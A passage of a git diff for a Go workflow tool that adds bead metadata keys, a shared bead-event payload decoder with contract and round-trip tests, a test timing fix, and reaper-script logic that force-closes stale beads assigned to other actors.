 	FormulaContractMetadataKey,
 	FormulaHashMetadataKey,
 	FormulaNameMetadataKey,
@@ -315,6 +345,7 @@ var KnownMetadataKeys = []string{
 	IdempotencyKeyMetadataKey,
 	InputConvoyIDMetadataKey,
 	InstantiatingMetadataKey,
+	IterationMetadataKey,
 	ItemRootKeyMetadataKey,
 	KindMetadataKey,
 	LastFailureClassMetadataKey,
@@ -332,6 +363,7 @@ var KnownMetadataKeys = []string{
 	OutcomeMetadataKey,
 	OutputJSONMetadataKey,
 	OutputJSONRequiredMetadataKey,
+	ParentBeadIDMetadataKey,
 	ParentConvoyIDMetadataKey,
 	PartialFragmentMetadataKey,
 	PartialRetryMetadataKey,
@@ -350,6 +382,7 @@ var KnownMetadataKeys = []string{
 	RetryFromMetadataKey,
 	RetrySessionRecycledMetadataKey,
 	RetryStateMetadataKey,
+	RigRootMetadataKey,
 	RootBeadIDMetadataKey,
 	RootStoreRefMetadataKey,
 	RoutedToMetadataKey,
@@ -361,7 +394,9 @@ var KnownMetadataKeys = []string{
 	ScopeRoleMetadataKey,
 	SessionAffinityMetadataKey,
 	SessionIDMetadataKey,
+	SessionIDCamelMetadataKey,
 	SessionNameMetadataKey,
+	SessionNameCamelMetadataKey,
 	SourceBeadIDMetadataKey,
 	SourceStepSpecMetadataKey,
 	SourceStoreRefMetadataKey,
diff --git a/internal/beadmeta/runid.go b/internal/beadmeta/runid.go
index 70484ff7a8..8d8e8e8f22 100644
--- a/internal/beadmeta/runid.go
+++ b/internal/beadmeta/runid.go
@@ -7,7 +7,7 @@ import "strings"
 // nested-workflow root (gc.root_bead_id). workflow_id and molecule_id are the
 // engine's bare (non-"gc."-namespaced) run-chain keys written by internal/sling;
 // RootBeadIDMetadataKey is the gc.-namespaced nesting root.
-var runIDChainKeys = []string{"workflow_id", "molecule_id", RootBeadIDMetadataKey}
+var runIDChainKeys = []string{"workflow_id", MoleculeIDMetadataKey, RootBeadIDMetadataKey}
 
 // ResolveRunID derives the run-root identifier for a bead from its metadata run
 // chain, falling back to the bead's own id and then a caller-supplied fallback.
diff --git a/internal/beads/bdstore.go b/internal/beads/bdstore.go
index 9976477a23..789a96b942 100644
--- a/internal/beads/bdstore.go
+++ b/internal/beads/bdstore.go
@@ -347,6 +347,17 @@ func (s *BdStore) IDPrefix() string {
 	return s.idPrefix
 }
 
+// Dir returns the root directory this store was constructed with (where
+// .beads/ lives). Callers that need to build an equivalent throwaway store
+// bound to a different context (e.g. a per-request scoped clone) use this
+// to target the same backend without a second, parallel way to track it.
+func (s *BdStore) Dir() string {
+	if s == nil {
+		return ""
+	}
+	return s.dir
+}
+
 // ListSkipLabelsEnabled reports whether this store may ask bd list to skip
 // label hydration.
 func (s *BdStore) ListSkipLabelsEnabled() bool {
diff --git a/internal/beads/bdstore_exec_internal_test.go b/internal/beads/bdstore_exec_internal_test.go
index 50f0e00d1c..7d65947ac7 100644
--- a/internal/beads/bdstore_exec_internal_test.go
+++ b/internal/beads/bdstore_exec_internal_test.go
@@ -178,7 +178,13 @@ func TestExecCommandRunnerStopsBDSlowTimerForFastBDCommand(t *testing.T) {
 	}
 
 	oldThreshold := bdSlowTelemetryThreshold
-	bdSlowTelemetryThreshold = 30 * time.Millisecond
+	// Use a large threshold (5 s) so a trivial shell script reliably
+	// completes before the timer fires even on a heavily-loaded parallel
+	// test runner. 30 ms was too tight and caused spurious "bd.slow" fires
+	// (ga-2dd). The sleep after the call is decoupled from the threshold:
+	// we only need to drain any in-flight timer goroutine, not wait for the
+	// timer to expire. 100 ms is ample for the exporter to flush.
+	bdSlowTelemetryThreshold = 5 * time.Second
 	t.Cleanup(func() { bdSlowTelemetryThreshold = oldThreshold })
 
 	exp := installBeadsRecordingLogExporter(t)
@@ -191,7 +197,11 @@ printf '[]\n'
 	if _, err := ExecCommandRunner()(t.TempDir(), "bd", "list"); err != nil {
 		t.Fatalf("ExecCommandRunner bd: %v", err)
 	}
-	time.Sleep(2 * bdSlowTelemetryThreshold)
+	// After ExecCommandRunner returns, defer slowTimer.Stop() has already
+	// been called. If Stop returned true the timer was defused; if false it
+	// fired and the goroutine may still be recording. 100 ms gives that
+	// goroutine time to complete before we assert.
+	time.Sleep(100 * time.Millisecond)
 	if got := exp.countByBody("bd.slow"); got != 0 {
 		t.Fatalf("bd.slow records = %d, want 0 for fast bd command", got)
 	}
diff --git a/internal/beads/bdstore_test.go b/internal/beads/bdstore_test.go
index 7a867f7ee1..f367798ff6 100644
--- a/internal/beads/bdstore_test.go
+++ b/internal/beads/bdstore_test.go
@@ -57,6 +57,27 @@ func doltliteBdStoreMetadataTestDir(t *testing.T, metadata string) string {
 	return dir
 }
 
+// --- Dir ---
+
+// TestBdStoreDirReturnsConstructionDir proves Dir() reports the exact root
+// a BdStore was constructed with, so callers that need to build an
+// equivalent throwaway store elsewhere (e.g. a ctx-bound clone for a
+// bounded read, gascity ga-cdmx6x) don't need a second, parallel way to
+// track it.
+func TestBdStoreDirReturnsConstructionDir(t *testing.T) {
+	store := beads.NewBdStore("/city/root", fakeRunner(nil))
+	if got := store.Dir(); got != "/city/root" {
+		t.Fatalf("Dir() = %q, want /city/root", got)
+	}
+}
+
+func TestBdStoreDirHandlesNilReceiver(t *testing.T) {
+	var store *beads.BdStore
+	if got := store.Dir(); got != "" {
+		t.Fatalf("Dir() on nil store = %q, want empty string", got)
+	}
+}
+
 // --- Create ---
 
 func TestBdStoreCreate(t *testing.T) {
diff --git a/internal/beads/beads.go b/internal/beads/beads.go
index f342f59729..1f47eb1dbc 100644
--- a/internal/beads/beads.go
+++ b/internal/beads/beads.go
@@ -63,16 +63,24 @@ type Bead struct {
 	Priority  *int      `json:"priority,omitempty"`
 	CreatedAt time.Time `json:"created_at"`
 	// UpdatedAt is zero for legacy beads; UpdatedBefore falls back to CreatedAt.
-	UpdatedAt    time.Time         `json:"updated_at,omitempty,omitzero"`
-	Assignee     string            `json:"assignee,omitempty"`
-	From         string            `json:"from,omitempty"`
-	ParentID     string            `json:"parent,omitempty"`      // step → molecule; matches bd wire format
-	Ref          string            `json:"ref,omitempty"`         // formula step ID or formula name
-	Needs        []string          `json:"needs,omitempty"`       // dependency step refs
-	Description  string            `json:"description,omitempty"` // step instructions
-	Labels       []string          `json:"labels,omitempty"`
-	Metadata     map[string]string `json:"metadata,omitempty"`
-	Dependencies []Dep             `json:"dependencies,omitempty"`
+	UpdatedAt   time.Time `json:"updated_at,omitempty,omitzero"`
+	Assignee    string    `json:"assignee,omitempty"`
+	From        string    `json:"from,omitempty"`
+	ParentID    string    `json:"parent,omitempty"`      // step → molecule; matches bd wire format
+	Ref         string    `json:"ref,omitempty"`         // formula step ID or formula name
+	Needs       []string  `json:"needs,omitempty"`       // dependency step refs
+	Description string    `json:"description,omitempty"` // step instructions
+	Labels      []string  `json:"labels,omitempty"`
+	// Metadata uses StringMap (not map[string]string) so decode tolerates the
+	// non-string JSON values the external bd CLI emits — `--set-metadata
+	// key=true` is type-inferred to a JSON boolean, and a strict decode of a
+	// single such bead used to poison the whole `gc hook --claim` work_query
+	// batch, blocking every worker in the rig from claiming. StringMap coerces
+	// bool/number values to their string form on decode and its underlying type
+	// is map[string]string, so every read/write call site is unaffected and the
+	// marshaled wire form is unchanged (still string-valued).
+	Metadata     StringMap `json:"metadata,omitempty"`
+	Dependencies []Dep     `json:"dependencies,omitempty"`
 	// Ephemeral routes the bead to the wisps tier on Create. Wisps live in
 	// a separate Dolt table, are not git-synced, and are eligible for TTL
 	// garbage collection. Reads must opt in via ListQuery.TierMode (or the
diff --git a/internal/beads/caching_store_events.go b/internal/beads/caching_store_events.go
index bb385e86b6..c4a1d90c26 100644
--- a/internal/beads/caching_store_events.go
+++ b/internal/beads/caching_store_events.go
@@ -617,6 +617,13 @@ func cacheEventLooksComplete(fields map[string]json.RawMessage) bool {
 		(hasCacheEventField(fields, "issue_type") || hasCacheEventField(fields, "type"))
 }
 
+// decodeCacheEvent decodes a bead.* event payload into a bead patch AND the raw
+// top-level field set the cache uses for change-detection (hasCacheEventField).
+// It unwraps the tolerant {"bead": ...} envelope for the fields map, then routes
+// the bead itself through the shared canonical decoder so the cache and the
+// run-view projection can never drift apart on the wire shape or the
+// issue_type/type compat. An empty id is a decode miss (error), matching the
+// prior contract.
 func decodeCacheEvent(payload json.RawMessage) (Bead, map[string]json.RawMessage, error) {
 	eventPayload := payload
 	var envelope map[string]json.RawMessage
@@ -631,25 +638,10 @@ func decodeCacheEvent(payload json.RawMessage) (Bead, map[string]json.RawMessage
 	if err := json.Unmarshal(eventPayload, &fields); err != nil {
 		return Bead{}, nil, err
 	}
-	var wire struct {
-		Bead
-		Metadata   StringMap `json:"metadata,omitempty"`
-		TypeCompat string    `json:"type,omitempty"`
-	}
-	if err := json.Unmarshal(eventPayload, &wire); err != nil {
-		return Bead{}, nil, err
-	}
-	b := wire.Bead
-	if wire.Metadata != nil {
-		b.Metadata = map[string]string(wire.Metadata)
-	}
-	if b.ID == "" {
+	b, ok := DecodeBeadEventPayload(eventPayload)
+	if !ok {
 		return Bead{}, nil, fmt.Errorf("missing bead id")
 	}
-	// bd hook payloads use "issue_type" while exec-style payloads may use "type".
-	if b.Type == "" && wire.TypeCompat != "" {
-		b.Type = wire.TypeCompat
-	}
 	return b, fields, nil
 }
 
diff --git a/internal/beads/event_payload.go b/internal/beads/event_payload.go
new file mode 100644
index 0000000000..0da445d6f7
--- /dev/null
+++ b/internal/beads/event_payload.go
@@ -0,0 +1,58 @@
+package beads
+
+import "encoding/json"
+
+// DecodeBeadEventPayload extracts a Bead from a bead.* event payload. It is the
+// single shared decoder for the bead-event wire shape; the API layer, the
+// caching store, and the run-view projection all route through it so their
+// tolerance can never drift apart on a future cleanup.
+//
+// Canonical shape = the RAW bead snapshot (json.Marshal(b)) — that is exactly
+// what CachingStore.notifyChange emits and what every .gc/events.jsonl row
+// holds. The wrapped {"bead":<snapshot>} shape (the registered BeadEventPayload
+// contract) is accepted as a tolerant fallback so a producer that ever emits it
+// does not silently starve consumers. A payload that decodes to a bead with an
+// empty id, an undecodable payload, or an empty payload is a decode miss:
+// (Bead{}, false).
+//
+// Bead's own json tags round-trip the raw wire faithfully (issue_type→Type,
+// parent→ParentID, ref/from/needs/metadata/dependencies, and StringMap coerces
+// the non-string metadata values the external bd CLI emits). The one field a
+// plain unmarshal misses is the exec-style "type" alias for issue_type, so the
+// decoder applies that compat fallback after the raw unmarshal.
+func DecodeBeadEventPayload(payload json.RawMessage) (Bead, bool) {
+	if len(payload) == 0 {
+		return Bead{}, false
+	}
+	if b, ok := decodeRawBead(payload); ok {
+		return b, true
+	}
+	// Tolerant fallback: the wrapped {"bead":<snapshot>} shape.
+	var env struct {
+		Bead json.RawMessage `json:"bead"`
+	}
+	if err := json.Unmarshal(payload, &env); err == nil && len(env.Bead) > 0 {
+		if b, ok := decodeRawBead(env.Bead); ok {
+			return b, true
+		}
+	}
+	return Bead{}, false
+}
+
+// decodeRawBead unmarshals a raw bead snapshot and applies the exec-style "type"
+// alias for issue_type. Returns false on decode error or empty id.
+func decodeRawBead(data json.RawMessage) (Bead, bool) {
+	var b Bead
+	if err := json.Unmarshal(data, &b); err != nil || b.ID == "" {
+		return Bead{}, false
+	}
+	if b.Type == "" {
+		var compat struct {
+			Type string `json:"type"`
+		}
+		if err := json.Unmarshal(data, &compat); err == nil && compat.Type != "" {
+			b.Type = compat.Type
+		}
+	}
+	return b, true
+}
diff --git a/internal/beads/event_payload_contract_test.go b/internal/beads/event_payload_contract_test.go
new file mode 100644
index 0000000000..95a5a012e9
--- /dev/null
+++ b/internal/beads/event_payload_contract_test.go
@@ -0,0 +1,66 @@
+package beads
+
+import (
+	"encoding/json"
+	"testing"
+	"time"
+)
+
+// TestNotifyChangePayloadDecodesViaSharedDecoder is the producer↔consumer
+// contract test the run-view RCA asked for: the exact bytes
+// CachingStore.notifyChange emits for a bead.* event must decode back to the
+// same bead through the shared canonical decoder. This pins the raw-bead wire
+// shape so a future "fix" that switches the producer to the wrapped
+// {"bead":...} form (or tightens a consumer's tolerance) fails here instead of
+// silently starving the run-view projection.
+func TestNotifyChangePayloadDecodesViaSharedDecoder(t *testing.T) {
+	prio := 2
+	seed := Bead{
+		ID:        "gcg-run-1",
+		Title:     "adopt PR #42",
+		Status:    "in_progress",
+		Type:      "molecule",
+		Priority:  &prio,
+		CreatedAt: time.Date(2026, 7, 4, 9, 0, 0, 0, time.UTC),
+		Assignee:  "worker-a",
+		ParentID:  "gcg-root",
+		Ref:       "mol-adopt-pr-v2",
+		Metadata: map[string]string{
+			"gc.formula_contract": "graph.v2",
+			"gc.kind":             "run",
+			"gc.step_id":          "gcg-step-1",
+		},
+	}
+
+	var got json.RawMessage
+	cs := NewCachingStore(NewMemStore(), func(_, _, _, _, _ string, payload json.RawMessage) {
+		got = payload
+	})
+	cs.notifyChange("bead.created", seed)
+
+	if len(got) == 0 {
+		t.Fatal("notifyChange emitted an empty payload")
+	}
+
+	decoded, ok := DecodeBeadEventPayload(got)
+	if !ok {
+		t.Fatalf("shared decoder could not decode notifyChange bytes: %s", got)
+	}
+	if decoded.ID != seed.ID {
+		t.Errorf("id = %q, want %q", decoded.ID, seed.ID)
+	}
+	if decoded.Title != seed.Title || decoded.Status != seed.Status || decoded.Type != seed.Type {
+		t.Errorf("decoded = %+v, want title/status/type of %+v", decoded, seed)
+	}
+	if decoded.Priority == nil || *decoded.Priority != prio {
+		t.Errorf("priority = %v, want %d", decoded.Priority, prio)
+	}
+	if !decoded.CreatedAt.Equal(seed.CreatedAt) {
+		t.Errorf("created_at = %v, want %v", decoded.CreatedAt, seed.CreatedAt)
+	}
+	for k, want := range seed.Metadata {
+		if decoded.Metadata[k] != want {
+			t.Errorf("metadata[%q] = %q, want %q", k, decoded.Metadata[k], want)
+		}
+	}
+}
diff --git a/internal/beads/event_payload_test.go b/internal/beads/event_payload_test.go
new file mode 100644
index 0000000000..0d112812c1
--- /dev/null
+++ b/internal/beads/event_payload_test.go
@@ -0,0 +1,137 @@
+package beads
+
+import (
+	"encoding/json"
+	"testing"
+	"time"
+)
+
+// TestDecodeBeadEventPayloadRawCanonical proves the canonical raw-bead shape —
+// what CachingStore.notifyChange actually marshals (json.Marshal(b)) and what
+// every .gc/events.jsonl row holds — decodes with full field fidelity.
+func TestDecodeBeadEventPayloadRawCanonical(t *testing.T) {
+	prio := 3
+	created := time.Date(2026, 7, 4, 12, 0, 0, 0, time.UTC)
+	want := Bead{
+		ID:          "gcg-1",
+		Title:       "port the fold",
+		Status:      "in_progress",
+		Type:        "task",
+		Priority:    &prio,
+		CreatedAt:   created,
+		Assignee:    "worker-a",
+		From:        "sling",
+		ParentID:    "gcg-root",
+		Ref:         "step-a",
+		Needs:       []string{"step-x"},
+		Description: "instructions",
+		Labels:      []string{"lane:a"},
+		Metadata:    map[string]string{"gc.kind": "run", "gc.step_id": "gcg-step-1"},
+		Dependencies: []Dep{
+			{IssueID: "gcg-1", DependsOnID: "gcg-dep", Type: "blocks"},
+		},
+	}
+	raw, err := json.Marshal(want)
+	if err != nil {
+		t.Fatalf("marshal: %v", err)
+	}
+
+	got, ok := DecodeBeadEventPayload(raw)
+	if !ok {
+		t.Fatalf("raw canonical decode returned ok=false for %s", raw)
+	}
+	if got.ID != want.ID || got.Title != want.Title || got.Status != want.Status ||
+		got.Type != want.Type || got.Assignee != want.Assignee || got.From != want.From ||
+		got.ParentID != want.ParentID || got.Ref != want.Ref || got.Description != want.Description {
+		t.Fatalf("scalar fields mismatch:\n got=%+v\nwant=%+v", got, want)
+	}
+	if got.Priority == nil || *got.Priority != prio {
+		t.Errorf("priority = %v, want %d", got.Priority, prio)
+	}
+	if !got.CreatedAt.Equal(created) {
+		t.Errorf("created_at = %v, want %v", got.CreatedAt, created)
+	}
+	if len(got.Needs) != 1 || got.Needs[0] != "step-x" {
+		t.Errorf("needs = %v, want [step-x]", got.Needs)
+	}
+	if len(got.Labels) != 1 || got.Labels[0] != "lane:a" {
+		t.Errorf("labels = %v, want [lane:a]", got.Labels)
+	}
+	if got.Metadata["gc.kind"] != "run" || got.Metadata["gc.step_id"] != "gcg-step-1" {
+		t.Errorf("metadata = %v, want gc.kind=run gc.step_id=gcg-step-1", got.Metadata)
+	}
+	if len(got.Dependencies) != 1 || got.Dependencies[0].DependsOnID != "gcg-dep" {
+		t.Errorf("dependencies = %v, want one dep on gcg-dep", got.Dependencies)
+	}
+}
+
+// TestDecodeBeadEventPayloadWrappedFallback proves the tolerant {"bead":<snap>}
+// fallback still decodes (older/registered-contract shape), so a producer that
+// switched to the wrapped shape would not silently starve consumers.
+func TestDecodeBeadEventPayloadWrappedFallback(t *testing.T) {
+	inner := Bead{ID: "gcg-2", Status: "open", Type: "bug"}
+	wrapped, err := json.Marshal(struct {
+		Bead Bead `json:"bead"`
+	}{inner})
+	if err != nil {
+		t.Fatalf("marshal: %v", err)
+	}
+	got, ok := DecodeBeadEventPayload(wrapped)
+	if !ok {
+		t.Fatalf("wrapped fallback decode returned ok=false for %s", wrapped)
+	}
+	if got.ID != "gcg-2" || got.Type != "bug" || got.Status != "open" {
+		t.Errorf("wrapped decode = %+v, want id=gcg-2 type=bug status=open", got)
+	}
+}
+
+// TestDecodeBeadEventPayloadTypeCompat proves the bd-hook "type" field is honored
+// as an issue_type compat fallback (exec-style payloads use "type", bd hooks use
+// "issue_type"). A plain Bead unmarshal alone would drop it.
+func TestDecodeBeadEventPayloadTypeCompat(t *testing.T) {
+	got, ok := DecodeBeadEventPayload([]byte(`{"id":"gcg-3","type":"chore","status":"open"}`))
+	if !ok {
+		t.Fatal("type-compat decode returned ok=false")
+	}
+	if got.Type != "chore" {
+		t.Errorf("Type = %q, want chore (from compat \"type\" field)", got.Type)
+	}
+
+	// issue_type wins when both are present.
+	got2, ok := DecodeBeadEventPayload([]byte(`{"id":"gcg-4","issue_type":"feature","type":"chore"}`))
+	if !ok {
+		t.Fatal("issue_type-precedence decode returned ok=false")
+	}
+	if got2.Type != "feature" {
+		t.Errorf("Type = %q, want feature (issue_type wins over type)", got2.Type)
+	}
+}
+
+// TestDecodeBeadEventPayloadNonStringMetadata proves StringMap coercion survives
+// the shared decoder (bd CLI type-inference emits bool/number metadata values).
+func TestDecodeBeadEventPayloadNonStringMetadata(t *testing.T) {
+	got, ok := DecodeBeadEventPayload([]byte(`{"id":"gcg-5","metadata":{"gc.iteration":3,"done":true}}`))
+	if !ok {
+		t.Fatal("non-string metadata decode returned ok=false")
+	}
+	if got.Metadata["gc.iteration"] != "3" || got.Metadata["done"] != "true" {
+		t.Errorf("metadata = %v, want gc.iteration=3 done=true (coerced)", got.Metadata)
+	}
+}
+
+// TestDecodeBeadEventPayloadMisses proves the decode-miss cases return
+// (Bead{}, false): empty payload, empty id, and undecodable bytes.
+func TestDecodeBeadEventPayloadMisses(t *testing.T) {
+	cases := map[string]json.RawMessage{
+		"empty":       nil,
+		"blank id":    json.RawMessage(`{"id":"","status":"open"}`),
+		"no id":       json.RawMessage(`{"status":"open"}`),
+		"garbage":     json.RawMessage(`not json`),
+		"wrapped-nil": json.RawMessage(`{"bead":null}`),
+	}
+	for name, payload := range cases {
+		if b, ok := DecodeBeadEventPayload(payload); ok {
+			t.Errorf("%s: ok=true bead=%+v, want (Bead{}, false)", name, b)
+		}
+	}
+}
diff --git a/internal/beads/exec/exec.go b/internal/beads/exec/exec.go
index b5afcb06e1..ce19938f7d 100644
--- a/internal/beads/exec/exec.go
+++ b/internal/beads/exec/exec.go
@@ -271,7 +271,17 @@ func (s *Store) Update(id string, opts beads.UpdateOpts) error {
 	return nil
 }
 
-// Close sets a bead's status to "closed": script close <id>
+// Close sets a bead's status to "closed": script close <id>.
+//
+// This delegate stays bare (no --force). The exec: wrapper scripts
+// (contrib/beads-scripts/gc-beads-k8s, gc-beads-br) are the canonical place
+// that injects --force for bd's cross-actor close guard
+// (gastownhall/beads#3734): they run under the pod/controller actor with
+// BEADS_ACTOR stripped while closing agent-owned beads, mirroring the SDK
+// BdStore, which always force-closes. Do not add --force here — the wrappers
+// read the bead id as their first positional argument, so a leading --force
+// would break them. A new exec: wrapper that closes agent-owned beads must
+// inject --force itself.
 func (s *Store) Close(id string) error {
 	_, err := s.run(nil, "close", id)
 	if err != nil {
diff --git a/internal/beads/export_test.go b/internal/beads/export_test.go
index 06677e77b5..e7cf57e336 100644
--- a/internal/beads/export_test.go
+++ b/internal/beads/export_test.go
@@ -5,3 +5,13 @@ package beads
 func NewNativeDoltStoreForConformance() Store {
 	return newNativeDoltStoreForTest(newNativeDoltMemStorage())
 }
+
+// NotifyChangeForTest drives the real producer (CachingStore.notifyChange) with
+// a caller-supplied bead, bypassing the store-write path that rewrites ids and
+// status. It lets cross-package guardrail tests (e.g. the run-view round-trip)
+// emit an exact run-shaped bead through the production event-marshal + run/session
+// id-resolution seam. The onChange callback receives the same 6-tuple the record
+// site (cmd/gc/api_state.go) wraps into an events.Event.
+func (c *CachingStore) NotifyChangeForTest(eventType string, b Bead) {
+	c.notifyChange(eventType, b)
+}
diff --git a/internal/beads/runview_roundtrip_test.go b/internal/beads/runview_roundtrip_test.go
new file mode 100644
index 0000000000..91e8047e63
--- /dev/null
+++ b/internal/beads/runview_roundtrip_test.go
@@ -0,0 +1,130 @@
+package beads_test
+
+import (
+	"encoding/json"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+type beadSeed struct {
+	eventType string
+	bead      beads.Bead
+}
+
+// TestRunViewRoundTripFromNotifyChange is the anchor guardrail from the run-view
+// RCA: a run-shaped bead is emitted through the REAL producer
+// (beads.CachingStore.notifyChange) to build real events.Events, those events
+// are folded by runproj.Fold and projected by runproj.BuildRunSummary, and the
+// summary must contain the seeded run. Producer and consumer were previously
+// tested in separate hermetic bubbles, so an event-shape or metadata-migration
+// drift between them could not register. This test spans the exact seam that
+// broke: if the fold starves (wire-shape mismatch, silent drop), the summary
+// comes back empty and this fails.
+func TestRunViewRoundTripFromNotifyChange(t *testing.T) {
+	created := time.Date(2026, 7, 4, 8, 0, 0, 0, time.UTC)
+	// A graph.v2 run root (gc.formula_contract=graph.v2 / gc.kind=run) plus a
+	// child step bead carrying gc.step_id — the shape the run view groups on.
+	root := beads.Bead{
+		ID:        "gcg-run-root",
+		Title:     "adopt PR #7",
+		Status:    "in_progress",
+		Type:      "molecule",
+		CreatedAt: created,
+		Metadata: map[string]string{
+			beadmeta.FormulaContractMetadataKey: "graph.v2",
+			beadmeta.KindMetadataKey:            "run",
+			beadmeta.FormulaMetadataKey:         "mol-adopt-pr-v2",
+		},
+	}
+	step := beads.Bead{
+		ID:        "gcg-run-step",
+		Title:     "review",
+		Status:    "in_progress",
+		Type:      "task",
+		CreatedAt: created,
+		ParentID:  "gcg-run-root",
+		Metadata: map[string]string{
+			beadmeta.RootBeadIDMetadataKey: "gcg-run-root",
+			beadmeta.StepIDMetadataKey:     "gcg-run-step",
+		},
+	}
+
+	evts := recordThroughNotifyChange(t,
+		beadSeed{events.BeadCreated, root},
+		beadSeed{events.BeadCreated, step},
+	)
+
+	folded := runproj.Fold(evts)
+	if len(folded) != 2 {
+		t.Fatalf("fold size = %d, want 2 (root + step); the fold starved", len(folded))
+	}
+
+	summary := runproj.BuildRunSummary(runproj.FilterRunBeads(beadsInSeenOrder(evts, folded)))
+	if summary.TotalActive == 0 {
+		t.Fatalf("run summary has no active lanes — the projection starved.\nsummary=%+v", summary)
+	}
+	var lane *runproj.RunLane
+	for i := range summary.Lanes {
+		if summary.Lanes[i].ID == "gcg-run-root" {
+			lane = &summary.Lanes[i]
+		}
+	}
+	if lane == nil {
+		t.Fatalf("seeded run gcg-run-root not present in summary lanes: %+v", summary.Lanes)
+	}
+	if lane.Formula.Status != "known" || lane.Formula.Name != "mol-adopt-pr-v2" {
+		t.Errorf("lane formula = %+v, want known/mol-adopt-pr-v2", lane.Formula)
+	}
+}
+
+// recordThroughNotifyChange emits each seed through the real
+// CachingStore.notifyChange producer and captures the events.Events the record
+// site (cmd/gc/api_state.go onChange closure) would build from the
+// (eventType, id, runID, sessionID, stepID, payload) callback.
+func recordThroughNotifyChange(t *testing.T, seeds ...beadSeed) []events.Event {
+	t.Helper()
+	var out []events.Event
+	seq := uint64(0)
+	cs := beads.NewCachingStore(beads.NewMemStore(), func(eventType, beadID, runID, sessionID, stepID string, payload json.RawMessage) {
+		seq++
+		out = append(out, events.Event{
+			Seq:       seq,
+			Type:      eventType,
+			Actor:     "cache-reconcile",
+			Subject:   beadID,
+			RunID:     runID,
+			SessionID: sessionID,
+			StepID:    stepID,
+			Payload:   payload,
+		})
+	})
+	for _, s := range seeds {
+		cs.NotifyChangeForTest(s.eventType, s.bead)
+	}
+	if len(out) != len(seeds) {
+		t.Fatalf("emitted %d events, want %d (one per seed)", len(out), len(seeds))
+	}
+	return out
+}
+
+// beadsInSeenOrder returns the folded beads in the order their ids first appear
+// in the event stream, mirroring the Projector's first-seen ordering that
+// BuildRunSummary expects (a plain Fold map has random iteration order).
+func beadsInSeenOrder(evts []events.Event, folded map[string]beads.Bead) []beads.Bead {
+	var order []beads.Bead
+	seen := map[string]bool{}
+	for _, e := range evts {
+		b, ok := folded[e.Subject]
+		if !ok || seen[e.Subject] {
+			continue
+		}
+		seen[e.Subject] = true
+		order = append(order, b)
+	}
+	return order
+}
diff --git a/internal/bootstrap/packs/core/assets/scripts/reaper.sh b/internal/bootstrap/packs/core/assets/scripts/reaper.sh
index 7ea4afb1c5..67826d4191 100755
--- a/internal/bootstrap/packs/core/assets/scripts/reaper.sh
+++ b/internal/bootstrap/packs/core/assets/scripts/reaper.sh
@@ -699,6 +699,13 @@ SQL_CHANGE_ROWS_RESULT=0
 close_city_issue() {
     local issue_id="$1"
     local reason="$2"
+    # Pass a non-empty third arg to add --force. Required when reaping a bead
+    # still assigned to another actor (e.g. an in_progress bead owned by a live
+    # agent session) while the reaper runs as order:reaper: bd's close-authority
+    # guard (gastownhall/beads#3734) refuses a cross-actor close without --force.
+    # Reaps of unassigned beads must stay bare so the guard keeps protecting
+    # against overriding a concurrent re-claim.
+    local force="${3:-}"
 
     if [ ! -d "$CITY_BEADS_DIR" ]; then
         printf 'city bead store %s is unavailable' "$CITY_BEADS_DIR"
@@ -707,7 +714,11 @@ close_city_issue() {
 
     (
         cd "$CITY_ABS"
-        BEADS_DIR="$CITY_BEADS_DIR" bd close "$issue_id" --reason "$reason"
+        if [ -n "$force" ]; then
+            BEADS_DIR="$CITY_BEADS_DIR" bd close "$issue_id" --force --reason "$reason"
+        else
+            BEADS_DIR="$CITY_BEADS_DIR" bd close "$issue_id" --reason "$reason"
+        fi
     )
 }
 
@@ -969,11 +980,21 @@ while IFS= read -r DB; do
         done <<< "$SQL_ROWS_RESULT"
     fi
 
+    # Expired nudge beads are closed bare (no --force) below, which is only safe
+    # when they are unassigned: bd's cross-actor close guard would otherwise
+    # reject the reaper's bare close and the expired nudge would leak. Nudge
+    # shadow beads are created unassigned, so the COALESCE(i.assignee,'')=''
+    # filter makes that invariant explicit rather than relying on producers to
+    # never assign one. An assigned expired nudge is skipped here, and the
+    # stale path below skips it too because that query excludes rows with a
+    # non-empty expires_at; that is acceptable because an assigned nudge would
+    # be a producer anomaly rather than expected TTL work.
     get_sql_rows "$DB" "expired nudge bead" "
         SELECT i.id
         FROM \`$DB\`.issues i
         INNER JOIN \`$DB\`.labels lbl ON lbl.issue_id = i.id AND lbl.label = 'gc:nudge'
         WHERE i.status IN ('open', 'in_progress')
+        AND COALESCE(i.assignee, '') = ''
         AND JSON_UNQUOTE(JSON_EXTRACT(i.metadata, '$.expires_at')) IS NOT NULL
         AND JSON_UNQUOTE(JSON_EXTRACT(i.metadata, '$.expires_at')) != ''
         AND COALESCE(
@@ -1016,7 +1037,8 @@ while IFS= read -r DB; do
     # Step 5: Auto-close stale issues (exclude P0/P1, epics, active deps).
     DB_ISSUES_CLOSED=0
     get_sql_rows "$DB" "stale issue" "
-        SELECT id FROM \`$DB\`.issues
+        SELECT id, CASE WHEN COALESCE(assignee, '') = '' THEN 'bare' ELSE 'force' END
+        FROM \`$DB\`.issues
         WHERE status IN ('open', 'in_progress')
         AND updated_at < DATE_SUB(NOW(), INTERVAL $STALE_AGE_H HOUR)
         AND priority > 1
@@ -1049,9 +1071,18 @@ while IFS= read -r DB; do
             SKIPPED_ISSUES=$(printf '%s\n' "$STALE_IDS" | sed '/^[[:space:]]*$/d' | wc -l | tr -d ' ')
             TOTAL_STALE_ISSUES_SKIPPED=$((TOTAL_STALE_ISSUES_SKIPPED + SKIPPED_ISSUES))
         else
-            while IFS= read -r issue_id; do
+            while IFS=, read -r issue_id close_mode; do
                 [ -z "$issue_id" ] && continue
-                if CLOSE_OUTPUT=$(close_city_issue "$issue_id" "stale:auto-closed by reaper" 2>&1); then
+                # close_mode comes from the query's per-row CASE: 'force' when the
+                # row carried a non-empty assignee at select time and 'bare'
+                # otherwise. A 'force' row is another actor's bead (the reaper runs
+                # as order:reaper), so it needs --force to pass bd's cross-actor
+                # close guard. A 'bare' row was open/unassigned; keeping its close
+                # bare lets the guard reject it if the row was concurrently
+                # re-claimed after the select, instead of clobbering the new claim.
+                STALE_FORCE=""
+                [ "$close_mode" = "force" ] && STALE_FORCE="force"
+                if CLOSE_OUTPUT=$(close_city_issue "$issue_id" "stale:auto-closed by reaper" "$STALE_FORCE" 2>&1); then
                     DB_ISSUES_CLOSED=$((DB_ISSUES_CLOSED + 1))
                     TOTAL_ISSUES_CLOSED=$((TOTAL_ISSUES_CLOSED + 1))
